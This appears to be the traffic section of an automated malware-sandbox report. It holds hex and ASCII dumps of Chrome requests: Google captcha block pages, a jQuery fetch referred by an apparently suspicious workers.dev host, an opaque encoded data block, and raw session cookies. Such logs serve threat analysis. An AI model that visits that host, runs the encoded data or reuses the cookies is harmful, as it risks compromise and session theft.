2024-04-29 00:01:23 UTC	1369	IN	Data Raw: 57 74 62 66 58 51 31 5a 33 31 7a 4e 57 64 39 63 6a 56 6e 65 33 45 31 5a 33 31 37 63 44 56 6e 66 57 38 31 5a 33 31 75 4e 57 64 62 55 48 31 74 4e 57 64 39 62 44 56 6e 66 57 73 31 5a 33 31 71 4e 57 64 39 61 54 56 6e 66 57 67 31 5a 31 74 6e 4e 57 64 39 5a 6a 56 6e 57 32 55 31 5a 33 31 6b 4e 57 64 39 53 46 46 62 59 7a 56 6e 66 57 49 31 5a 31 74 68 4e 57 64 62 4f 54 56 6e 66 54 67 31 5a 31 73 32 4e 57 64 39 56 32 31 37 4e 54 56 6e 66 54 51 31 5a 31 74 6e 66 54 4d 31 5a 33 30 79 4e 57 64 62 4d 54 56 6e 66 54 41 31 5a 31 74 4e 66 56 6f 30 5a 31 74 39 57 54 52 6e 66 56 67 30 5a 31 74 58 4e 47 64 39 4e 6c 64 62 4e 46 68 6d 65 31 56 4a 66 56 59 30 5a 31 74 56 4e 47 64 39 62 46 46 62 56 44 52 6e 66 54 4e 5a 65 32 70 39 55 7a 52 6e 66 56 49 30 5a 33 31 52 4e 47 64 39 Data Ascii: WtbfXQ1Z31zNWd9cjVne3E1Z317cDVnfW81Z31uNWdbUH1tNWd9bDVnfWs1Z31qNWd9aTVnfWg1Z1tnNWd9ZjVnW2U1Z31kNWd9SFFbYzVnfWI1Z1thNWdbOTVnfTg1Z1s2NWd9V217NTVnfTQ1Z1tnfTM1Z30yNWdbMTVnfTA1Z1tNfVo0Z1t9WTRnfVg0Z1tXNGd9NldbNFhme1VJfVY0Z1tVNGd9bFFbVDRnfTNZe2p9UzRnfVI0Z31RNGd9
2024-04-29 00:01:23 UTC	1369	IN	Data Raw: 63 78 5a 33 31 62 56 6a 46 6e 66 56 55 78 5a 33 31 55 4d 57 64 37 57 6b 51 78 66 56 74 54 4d 57 64 37 55 6a 46 6e 66 56 45 78 5a 33 31 51 4d 57 64 39 54 7a 46 6e 66 55 34 78 5a 33 31 4e 4d 57 64 39 54 44 46 6e 66 55 73 78 5a 33 31 4b 4d 57 64 39 53 54 46 6e 66 55 67 78 5a 33 31 39 52 7a 46 6e 66 55 59 78 5a 33 74 4f 59 6e 31 46 4d 57 64 39 52 44 46 6e 66 55 4d 78 5a 33 74 61 52 44 46 39 57 30 49 78 5a 33 31 42 4d 57 64 39 65 6a 46 6e 66 58 6b 78 5a 33 31 34 4d 57 64 39 64 7a 46 6e 66 58 59 78 5a 33 31 31 4d 57 64 39 64 44 46 6e 66 58 4d 78 5a 33 31 79 4d 57 64 39 63 54 46 6e 66 58 41 78 5a 33 31 76 4d 57 64 39 62 6a 46 6e 57 31 70 39 62 54 46 6e 66 57 77 78 5a 33 31 72 4d 57 64 39 61 6a 46 6e 66 56 74 70 4d 57 64 39 61 44 46 6e 66 57 63 78 5a 33 31 6d 4d Data Ascii: cxZ31bVjFnfVUxZ31UMWd7WkQxfVtTMWd7UjFnfVExZ31QMWd9TzFnfU4xZ31NMWd9TDFnfUsxZ31KMWd9STFnfUgxZ319RzFnfUYxZ3tOYn1FMWd9RDFnfUMxZ3taRDF9W0IxZ31BMWd9ejFnfXkxZ314MWd9dzFnfXYxZ311MWd9dDFnfXMxZ31yMWd9cTFnfXAxZ31vMWd9bjFnW1p9bTFnfWwxZ31rMWd9ajFnfVtpMWd9aDFnfWcxZ31mM
2024-04-29 00:01:23 UTC	1369	IN	Data Raw: 5a 5a 6e 31 62 61 6d 4a 62 65 46 6c 6d 66 58 64 5a 5a 6e 31 32 57 57 5a 39 64 56 6c 6d 66 58 52 5a 5a 6e 31 7a 57 57 5a 39 63 6c 6c 6d 66 58 46 5a 5a 6e 31 77 57 57 5a 39 62 6c 6c 6d 66 56 74 74 57 57 5a 62 62 46 6c 6d 66 57 74 5a 5a 6e 31 62 61 6c 6c 6d 66 57 6c 5a 5a 6e 31 62 61 46 6c 6d 66 57 64 5a 5a 6e 31 6d 57 57 5a 39 5a 56 6c 6d 66 57 52 5a 5a 6e 31 62 59 31 6c 6d 66 57 4a 5a 5a 6e 31 68 57 57 5a 39 65 6a 51 78 57 33 31 44 59 58 74 58 4f 44 46 39 4f 56 6c 6d 66 56 73 34 57 57 5a 39 4e 31 6c 6d 66 54 5a 5a 5a 6e 30 31 57 57 5a 39 4e 46 6c 6d 66 56 73 7a 57 57 5a 39 4d 6c 6c 6d 66 54 46 5a 5a 6e 73 77 57 57 5a 39 57 6c 68 6d 66 56 6c 59 5a 6e 31 59 57 47 5a 39 56 31 68 6d 66 56 5a 59 5a 6e 31 56 57 47 5a 39 56 46 68 6d 66 56 74 4b 63 6a 46 37 55 31 Data Ascii: ZZn1bamJbeFlmfXdZZn12WWZ9dVlmfXRZZn1zWWZ9cllmfXFZZn1wWWZ9bllmfVttWWZbbFlmfWtZZn1ballmfWlZZn1baFlmfWdZZn1mWWZ9ZVlmfWRZZn1bY1lmfWJZZn1hWWZ9ejQxW31DYXtXODF9OVlmfVs4WWZ9N1lmfTZZZn01WWZ9NFlmfVszWWZ9MllmfTFZZnswWWZ9WlhmfVlYZn1YWGZ9V1hmfVZYZn1VWGZ9VFhmfVtKcjF7U1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	142.250.191.100	443	3844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-29 00:01:23 UTC	742	OUT	GET /sorry/index?continue=https://www.google.com/async/ddljson%3Fasync%3Dntp:2&q=EgRRtT5aGNLGu7EGIjCwe3OWMlIbLrAaFHz9bvBUAhQ2bwb0oNT6lyHHBU6jhTnQlT54q8_GMSgQOnJ4LlEyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 1P_JAR=2024-04-29-00; NID=513=b1lO-f-72vb71R_iB0PvLZ95OpOa_OyCnRx8naX63kFm-D_bz42Rh6w6fd9gQvAqhYFxAvqcY6MgZtOqoObMTBfpKttkXy9frNXmKib1Kj9Q0W3pEcvTM301pE72Owd1KzsTCC-pJxCQY2swZejBc3F50qzqHlKqoEx2h0Vs92U
2024-04-29 00:01:23 UTC	356	IN	HTTP/1.1 429 Too Many Requests Date: Mon, 29 Apr 2024 00:01:23 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Type: text/html Server: HTTP server (unknown) Content-Length: 3129 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-29 00:01:23 UTC	899	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 73 79 6e 63 2f 64 64 6c 6a 73 6f 6e 3f 61 73 79 6e 63 3d 6e 74 70 3a 32 3c 2f 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"><meta name="viewport" content="initial-scale=1"><title>https://www.google.com/async/ddljson?async=ntp:2</title>
2024-04-29 00:01:23 UTC	1255	IN	Data Raw: 74 43 61 6c 6c 62 61 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 28 72 65 73 70 6f 6e 73 65 29 20 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 61 70 74 63 68 61 2d 66 6f 72 6d 27 29 2e 73 75 62 6d 69 74 28 29 3b 7d 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 64 69 76 20 69 64 3d 22 72 65 63 61 70 74 63 68 61 22 20 63 6c 61 73 73 3d 22 67 2d 72 65 63 61 70 74 63 68 61 22 20 64 61 74 61 2d 73 69 74 65 6b 65 79 3d 22 36 4c 66 77 75 79 55 54 41 41 41 41 41 4f 41 6d 6f 53 30 66 64 71 69 6a 43 32 50 62 62 64 48 34 6b 6a 71 36 32 59 31 62 22 20 64 61 74 61 2d 63 61 6c 6c 62 61 63 6b 3d 22 73 75 62 6d 69 74 43 61 6c 6c 62 61 63 6b 22 20 64 61 74 61 2d 73 3d 22 6b 57 35 49 39 36 37 4b 75 64 70 6b 4d 55 75 66 78 48 34 4a 75 78 6f 61 72 41 4f Data Ascii: tCallback = function(response) {document.getElementById('captcha-form').submit();};</script><div id="recaptcha" class="g-recaptcha" data-sitekey="6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b" data-callback="submitCallback" data-s="kW5I967KudpkMUufxH4JuxoarAO
2024-04-29 00:01:23 UTC	975	IN	Data Raw: 65 61 72 73 20 77 68 65 6e 20 47 6f 6f 67 6c 65 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 64 65 74 65 63 74 73 20 72 65 71 75 65 73 74 73 20 63 6f 6d 69 6e 67 20 66 72 6f 6d 20 79 6f 75 72 20 63 6f 6d 70 75 74 65 72 20 6e 65 74 77 6f 72 6b 20 77 68 69 63 68 20 61 70 70 65 61 72 20 74 6f 20 62 65 20 69 6e 20 76 69 6f 6c 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 3c 61 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 70 6f 6c 69 63 69 65 73 2f 74 65 72 6d 73 2f 22 3e 54 65 72 6d 73 20 6f 66 20 53 65 72 76 69 63 65 3c 2f 61 3e 2e 20 54 68 65 20 62 6c 6f 63 6b 20 77 69 6c 6c 20 65 78 70 69 72 65 20 73 68 6f 72 74 6c 79 20 61 66 74 65 72 20 74 68 6f 73 65 20 72 65 71 75 65 73 74 73 20 73 74 6f 70 2e 20 20 49 6e 20 74 68 65 20 6d 65 61 6e Data Ascii: ears when Google automatically detects requests coming from your computer network which appear to be in violation of the <a href="//www.google.com/policies/terms/">Terms of Service</a>. The block will expire shortly after those requests stop. In the mean

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	142.250.191.100	443	3844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-29 00:01:23 UTC	912	OUT	GET /sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fhl%3Den-US%26async%3Dfixed:0&hl=en-US&q=EgRRtT5aGNPGu7EGIjD378IR4LJm1qYyyyfU-OncloSsy8H8q9nJ76n0GA5ReGEW23--dpcDluNgBDGYfjwyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 1P_JAR=2024-04-29-00; NID=513=XtjMmH6JM8nzC8nN-k-2-T6gqx5KoLKajDuKXMsYvpBwE2kkFgZEPLcfZNUZ_eMWlr8Y3ZHtm5h5UvcTTNHAR5rLvbTq5F2F0m43MEvfOiRShH42emm_Ird4Id3OAHGMJ2RLHMwKWe7tfhvJAJDSN347uk9CsyTGVXdN_WXpKXw
2024-04-29 00:01:23 UTC	356	IN	HTTP/1.1 429 Too Many Requests Date: Mon, 29 Apr 2024 00:01:23 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Type: text/html Server: HTTP server (unknown) Content-Length: 3183 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-29 00:01:23 UTC	899	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 73 79 6e 63 2f 6e 65 77 74 61 62 5f 6f 67 62 3f 68 6c 3d 65 6e 2d 55 53 26 61 6d 70 3b 61 73 79 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"><meta name="viewport" content="initial-scale=1"><title>https://www.google.com/async/newtab_ogb?hl=en-US&asy
2024-04-29 00:01:23 UTC	1255	IN	Data Raw: 0a 3c 73 63 72 69 70 74 3e 76 61 72 20 73 75 62 6d 69 74 43 61 6c 6c 62 61 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 28 72 65 73 70 6f 6e 73 65 29 20 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 61 70 74 63 68 61 2d 66 6f 72 6d 27 29 2e 73 75 62 6d 69 74 28 29 3b 7d 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 64 69 76 20 69 64 3d 22 72 65 63 61 70 74 63 68 61 22 20 63 6c 61 73 73 3d 22 67 2d 72 65 63 61 70 74 63 68 61 22 20 64 61 74 61 2d 73 69 74 65 6b 65 79 3d 22 36 4c 66 77 75 79 55 54 41 41 41 41 41 4f 41 6d 6f 53 30 66 64 71 69 6a 43 32 50 62 62 64 48 34 6b 6a 71 36 32 59 31 62 22 20 64 61 74 61 2d 63 61 6c 6c 62 61 63 6b 3d 22 73 75 62 6d 69 74 43 61 6c 6c 62 61 63 6b 22 20 64 61 74 61 2d 73 3d 22 4d 44 53 32 74 37 74 57 77 Data Ascii: <script>var submitCallback = function(response) {document.getElementById('captcha-form').submit();};</script><div id="recaptcha" class="g-recaptcha" data-sitekey="6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b" data-callback="submitCallback" data-s="MDS2t7tWw
2024-04-29 00:01:23 UTC	1029	IN	Data Raw: 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 65 6d 3b 22 3e 0a 54 68 69 73 20 70 61 67 65 20 61 70 70 65 61 72 73 20 77 68 65 6e 20 47 6f 6f 67 6c 65 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 64 65 74 65 63 74 73 20 72 65 71 75 65 73 74 73 20 63 6f 6d 69 6e 67 20 66 72 6f 6d 20 79 6f 75 72 20 63 6f 6d 70 75 74 65 72 20 6e 65 74 77 6f 72 6b 20 77 68 69 63 68 20 61 70 70 65 61 72 20 74 6f 20 62 65 20 69 6e 20 76 69 6f 6c 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 3c 61 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 70 6f 6c 69 63 69 65 73 2f 74 65 72 6d 73 2f 22 3e 54 65 72 6d 73 20 6f 66 20 53 65 72 76 69 63 65 3c 2f 61 3e 2e 20 54 68 65 20 62 6c 6f 63 6b 20 77 69 6c 6c 20 65 78 70 69 72 65 20 73 68 6f 72 74 6c 79 20 61 66 74 Data Ascii: ; line-height:1.4em;">This page appears when Google automatically detects requests coming from your computer network which appear to be in violation of the <a href="//www.google.com/policies/terms/">Terms of Service</a>. The block will expire shortly aft

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49744	142.250.191.100	443	3844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-29 00:01:25 UTC	738	OUT	GET /sorry/index?continue=https://www.google.com/async/newtab_promos&q=EgRRtT5aGNPGu7EGIjCTBdbxyyM3ZqJf3EonG_zCUB-Pw1QHWLoitfdBvEn-JTC53TE7YFIDf4y0FkKW9oMyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 1P_JAR=2024-04-29-00; NID=513=mUDkWxDR2WwRbHyVRxntCwSUaPcXEMYmu50FK7E9NWmA30rkCvr7Z3tiL5WY0MxSM5ptz6AxfLh8xEiOEPkw9NRMDh2RYGkbuI712vvNmA90yaf-sOl2w_WFgPOvyJa8RfaK2ykWIuCIqx7aFiFwJCH8C8V4PNBgvzkiqKlFUg0
2024-04-29 00:01:25 UTC	356	IN	HTTP/1.1 429 Too Many Requests Date: Mon, 29 Apr 2024 00:01:25 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Type: text/html Server: HTTP server (unknown) Content-Length: 3111 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-29 00:01:25 UTC	899	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 73 79 6e 63 2f 6e 65 77 74 61 62 5f 70 72 6f 6d 6f 73 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"><meta name="viewport" content="initial-scale=1"><title>https://www.google.com/async/newtab_promos</title></head
2024-04-29 00:01:25 UTC	1255	IN	Data Raw: 61 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 28 72 65 73 70 6f 6e 73 65 29 20 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 61 70 74 63 68 61 2d 66 6f 72 6d 27 29 2e 73 75 62 6d 69 74 28 29 3b 7d 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 64 69 76 20 69 64 3d 22 72 65 63 61 70 74 63 68 61 22 20 63 6c 61 73 73 3d 22 67 2d 72 65 63 61 70 74 63 68 61 22 20 64 61 74 61 2d 73 69 74 65 6b 65 79 3d 22 36 4c 66 77 75 79 55 54 41 41 41 41 41 4f 41 6d 6f 53 30 66 64 71 69 6a 43 32 50 62 62 64 48 34 6b 6a 71 36 32 59 31 62 22 20 64 61 74 61 2d 63 61 6c 6c 62 61 63 6b 3d 22 73 75 62 6d 69 74 43 61 6c 6c 62 61 63 6b 22 20 64 61 74 61 2d 73 3d 22 41 76 70 5f 33 72 73 6c 47 6b 64 46 30 56 52 79 78 6f 5f 36 32 31 56 70 6c 62 6b 58 67 50 68 31 45 Data Ascii: ack = function(response) {document.getElementById('captcha-form').submit();};</script><div id="recaptcha" class="g-recaptcha" data-sitekey="6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b" data-callback="submitCallback" data-s="Avp_3rslGkdF0VRyxo_621VplbkXgPh1E
2024-04-29 00:01:25 UTC	957	IN	Data Raw: 6f 67 6c 65 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 64 65 74 65 63 74 73 20 72 65 71 75 65 73 74 73 20 63 6f 6d 69 6e 67 20 66 72 6f 6d 20 79 6f 75 72 20 63 6f 6d 70 75 74 65 72 20 6e 65 74 77 6f 72 6b 20 77 68 69 63 68 20 61 70 70 65 61 72 20 74 6f 20 62 65 20 69 6e 20 76 69 6f 6c 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 3c 61 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 70 6f 6c 69 63 69 65 73 2f 74 65 72 6d 73 2f 22 3e 54 65 72 6d 73 20 6f 66 20 53 65 72 76 69 63 65 3c 2f 61 3e 2e 20 54 68 65 20 62 6c 6f 63 6b 20 77 69 6c 6c 20 65 78 70 69 72 65 20 73 68 6f 72 74 6c 79 20 61 66 74 65 72 20 74 68 6f 73 65 20 72 65 71 75 65 73 74 73 20 73 74 6f 70 2e 20 20 49 6e 20 74 68 65 20 6d 65 61 6e 74 69 6d 65 2c 20 73 6f 6c 76 69 6e Data Ascii: ogle automatically detects requests coming from your computer network which appear to be in violation of the <a href="//www.google.com/policies/terms/">Terms of Service</a>. The block will expire shortly after those requests stop. In the meantime, solvin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49745	151.101.2.137	443	3844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-29 00:01:25 UTC	556	OUT	GET /jquery-3.4.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://cloudsss-c367.iardainwkasn.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-29 00:01:25 UTC	566	IN	HTTP/1.1 200 OK Connection: close Content-Length: 88145 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15851" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 29 Apr 2024 00:01:25 GMT Age: 2128055 X-Served-By: cache-lga21965-LGA, cache-chi-kigq8000036-CHI X-Cache: HIT, HIT X-Cache-Hits: 8, 1 X-Timer: S1714348885.394279,VS0,VE2 Vary: Accept-Encoding
2024-04-29 00:01:25 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 Data Ascii: /! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery
2024-04-29 00:01:25 UTC	1378	IN	Data Raw: 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 6b 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6b 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 6b 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 6e 2e 63 61 6c 6c 28 65 2c 74 2c 65 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 Data Ascii: th]:this[e]},pushStack:function(e){var t=k.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return k.each(this,e)},map:function(n){return this.pushStack(k.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this
2024-04-29 00:01:25 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f 6e 63 65 7d 29 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 30 3b 69 66 28 64 28 65 29 29 7b 66 6f 72 28 6e 3d 65 2e 6c 65 6e 67 74 68 3b 72 3c 6e 3b 72 2b 2b 29 69 66 28 21 31 3d 3d 3d 74 2e 63 61 6c 6c 28 65 5b 72 5d 2c 72 2c 65 5b 72 5d 29 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 72 20 69 6e 20 65 29 69 66 28 21 31 3d 3d 3d 74 2e 63 61 6c 6c 28 65 5b 72 5d 2c 72 2c 65 5b 72 5d 29 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 65 7d 2c 74 72 69 6d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 22 22 3a 28 65 2b 22 22 29 2e 72 65 70 6c 61 63 65 28 70 2c 22 22 29 7d 2c 6d 61 6b 65 41 72 72 61 79 Data Ascii: ion(e,t){b(e,{nonce:t&&t.nonce})},each:function(e,t){var n,r=0;if(d(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in 